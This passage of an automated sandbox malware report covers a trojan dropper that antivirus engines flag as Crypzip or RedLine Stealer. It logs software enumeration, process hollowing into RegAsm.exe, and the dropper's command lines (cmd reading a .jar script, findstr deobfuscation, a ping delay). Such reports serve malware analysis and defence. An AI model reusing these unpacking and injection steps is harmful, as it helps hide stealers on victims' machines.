RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: G2BRUN regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{5BEFEB79-2B4D-4EEE-9979-AFDE0A20FADE}_is1\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: WIZVERA Process Manager 1,0,5,4 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{8941A397-4065-4F41-92CE-0EB610846EED}_is1\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Reader 9 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName	1
RegQueryValueExW July 31, 2021, 1:25 p.m.	key_handle: 0x00000630 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2432 called NtSetContextThread to modify thread in remote process 2728
NtSetContextThread July 31, 2021, 1:25 p.m.	registers.eip: 1997996484 registers.esp: 1965044 registers.edi: 0 registers.eax: 886798 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000001fc process_identifier: 2728	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2236 resumed a thread in remote process 2364
NtResumeThread July 31, 2021, 1:24 p.m.	thread_handle: 0x00000090 suspend_count: 0 process_identifier: 2364	1	0	0

Generates some ICMP traffic

Executed a process and injected code into it, probably while unpacking (18 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW July 31, 2021, 1:24 p.m.	thread_identifier: 2180 thread_handle: 0x000002dc process_identifier: 2176 current_directory: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000 filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /c cmd < Vedrei.jar filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634176 (CREATE_DEFAULT_ERROR_MODE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002e4	1	1
CreateProcessInternalW July 31, 2021, 1:24 p.m.	thread_identifier: 2240 thread_handle: 0x00000088 process_identifier: 2236 current_directory: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000 filepath: C:\Windows\System32\cmd.exe track: 1 command_line: cmd filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW July 31, 2021, 1:24 p.m.	thread_identifier: 2308 thread_handle: 0x0000008c process_identifier: 2304 current_directory: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000 filepath: C:\Windows\System32\findstr.exe track: 1 command_line: findstr /V /R "^TvDNxkTHNPhDVtbGlizRibXOirOUSPkjlRfWzTaCXCCWENaFQfomEzKcmOGsbZPYEwarOAhdPQUFUqpzLotCGLHRiTvEhwyYNEaCcgQfeSKNmyAmEjFfVjaSzAWUtIeOLVRdHHYvsOA$" Chiamando.jar filepath_r: C:\Windows\system32\findstr.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW July 31, 2021, 1:24 p.m.	thread_identifier: 2368 thread_handle: 0x00000090 process_identifier: 2364 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Scegliendo.exe.com track: 1 command_line: Scegliendo.exe.com r filepath_r: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Scegliendo.exe.com stack_pivoted: 0 creation_flags: 525328 (CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
NtResumeThread July 31, 2021, 1:24 p.m.	thread_handle: 0x00000090 suspend_count: 0 process_identifier: 2364	1	0
CreateProcessInternalW July 31, 2021, 1:24 p.m.	thread_identifier: 2492 thread_handle: 0x00000094 process_identifier: 2488 current_directory: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000 filepath: C:\Windows\System32\PING.EXE track: 1 command_line: ping test22-PC -n 30 filepath_r: C:\Windows\system32\PING.EXE stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
CreateProcessInternalW July 31, 2021, 1:24 p.m.	thread_identifier: 2436 thread_handle: 0x0000012c process_identifier: 2432 current_directory: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000 filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Scegliendo.exe.com r filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 0 process_handle: 0x00000130	1	1
CreateProcessInternalW July 31, 2021, 1:25 p.m.	thread_identifier: 2732 thread_handle: 0x000001fc process_identifier: 2728 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000204	1	1
NtGetContextThread July 31, 2021, 1:25 p.m.	thread_handle: 0x000001fc	1	0
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 122880 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 4 (PAGE_READWRITE) base_address: 0x000c0000 allocation_type: 12289 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000204	1	0
WriteProcessMemory July 31, 2021, 1:25 p.m.	buffer: base_address: 0x000c0000 process_identifier: 2728 process_handle: 0x00000204	1	1
WriteProcessMemory July 31, 2021, 1:25 p.m.	buffer: ÿÿÿÿû~(ü~Pý~mèÿÿ jHâý~± base_address: 0x7efde000 process_identifier: 2728 process_handle: 0x00000204	1	1
NtSetContextThread July 31, 2021, 1:25 p.m.	registers.eip: 1997996484 registers.esp: 1965044 registers.edi: 0 registers.eax: 886798 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000001fc process_identifier: 2728	1	0
NtResumeThread July 31, 2021, 1:25 p.m.	thread_handle: 0x00000180 suspend_count: 1 process_identifier: 2728	1	0
NtResumeThread July 31, 2021, 1:25 p.m.	thread_handle: 0x000001f8 suspend_count: 1 process_identifier: 2728	1	0
NtResumeThread July 31, 2021, 1:25 p.m.	thread_handle: 0x00000234 suspend_count: 1 process_identifier: 2728	1	0
NtResumeThread July 31, 2021, 1:25 p.m.	thread_handle: 0x000003d4 suspend_count: 1 process_identifier: 2728	1	0
NtResumeThread July 31, 2021, 1:25 p.m.	thread_handle: 0x000006ac suspend_count: 1 process_identifier: 2728	1	0

File has been identified by 34 AntiVirus engines on VirusTotal as malicious (34 events)

Bkav	W32.AIDetect.malware2
Lionic	Trojan.Win32.Crypzip.trQO
MicroWorld-eScan	Trojan.GenericKD.46700758
FireEye	Trojan.GenericKD.46700758
McAfee	Artemis!0602D74B76CA
Sangfor	Riskware.Win32.Agent.ky
Alibaba	Trojan:Win32/Crypzip.1e4aee88
CrowdStrike	win/malicious_confidence_100% (W)
Arcabit	Trojan.Generic.D2C898D6
Symantec	ML.Attribute.HighConfidence
ClamAV	Win.Malware.Crypzip-9882195-0
Kaspersky	Trojan.Win32.Crypzip.bko
BitDefender	Trojan.GenericKD.46700758
Avast	Win32:Malware-gen
Rising	Trojan.HiddenRun/SFX!1.D57B (CLASSIC)
Ad-Aware	Trojan.GenericKD.46700758
Zillya	Trojan.Crypzip.Win32.42
McAfee-GW-Edition	BehavesLike.Win32.Dropper.tc
Emsisoft	Trojan.GenericKD.46700758 (B)
Ikarus	Trojan-Spy.RedLineStealer
Webroot	W32.Malware.gen
Gridinsoft	Trojan.Win32.Dropper.dd!s1
Microsoft	Trojan:Win32/Wacatac.B!ml
GData	Trojan.GenericKD.46700758
Cynet	Malicious (score: 100)
BitDefenderTheta	Gen:NN.ZexaF.34050.dr3@aencMdik
ALYac	Trojan.GenericKD.46700758
MAX	malware (ai score=87)
VBA32	Trojan.Wacatac
Malwarebytes	Trojan.Dropper.Generic
Fortinet	PossibleThreat.MU
AVG	Win32:Malware-gen
Panda	Trj/CI.A
Qihoo-360	Win32/Trojan.Generic.HgIASZQA

112233.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All